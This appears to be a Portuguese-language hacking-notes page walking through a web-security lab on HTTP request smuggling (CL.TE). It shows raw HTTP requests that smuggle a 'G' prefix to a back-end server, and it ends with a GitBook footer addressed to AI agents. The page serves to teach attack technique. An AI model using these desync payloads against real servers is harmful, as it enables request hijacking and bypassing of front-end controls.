> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/request-smuggling/basic-vulnerability-cl-te.md).

# Vulnerabilidade Básica CL.TE

### HTTP Request Smuggling, Vulnerabilidade Básica CL.TE

Neste laboratório, a infraestrutura consiste em um servidor frontal e um servidor back-end. O servidor frontal **não oferece suporte à codificação chunked** e **rejeita qualquer solicitação que não use GET ou POST** métodos.

O objetivo é **contrabandear uma solicitação para o back-end** servidor para que **a solicitação a seguir, interpretada pelo servidor, pareça usar o `GPOST`** método.

> Nota:/ " Mesmo que o laboratório aceite HTTP/2, a técnica necessária é baseada exclusivamente em HTTP/1. O protocolo deve ser alterado manualmente no Burp Repeater por meio da seção de atributos da solicitação no Inspector.

> Dica:/ Manipular manualmente os tamanhos em um ataque de request smuggling pode ser complexo. A extensão HTTP Request Smuggler do Burp, disponível na BApp Store, pode facilitar essa tarefa.

#### \*\* Exemplo Válido Observado\*\*

A solicitação a seguir foi aceita:

```http
POST / HTTP/1.1
Host: 0acc00e204b4e3ae81f82028009c00eb.web-security-academy.net
Content-Length: 13
Tranfer-Encoding: chunked

3
abc
0


```

#### **Erro ao Alterar o Tamanho Final**

Se o `0` o caractere final é substituído por um caractere inválido (por exemplo, `X`), o servidor retorna um erro:

```
3
abc
X
```

<figure><img src="/files/491708b9f599e24a1fcdfc59d6f733531efb6578" alt=""><figcaption></figcaption></figure>

#### **Adicione o Caractere Final para Injetar `G`**

Ao colocar um `G` após o chunk final, você pode preparar a solicitação contrabandeada para o back-end:

```http
POST / HTTP/1.1
Host: 0acc00e204b4e3ae81f82028009c00eb.web-security-academy.net
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 6
Transfer-Encoding: chunked

0

G
```

<figure><img src="/files/0914df82b6462b6c1b6d391e3c54169346c0373f" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/web/request-smuggling/basic-vulnerability-cl-te.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
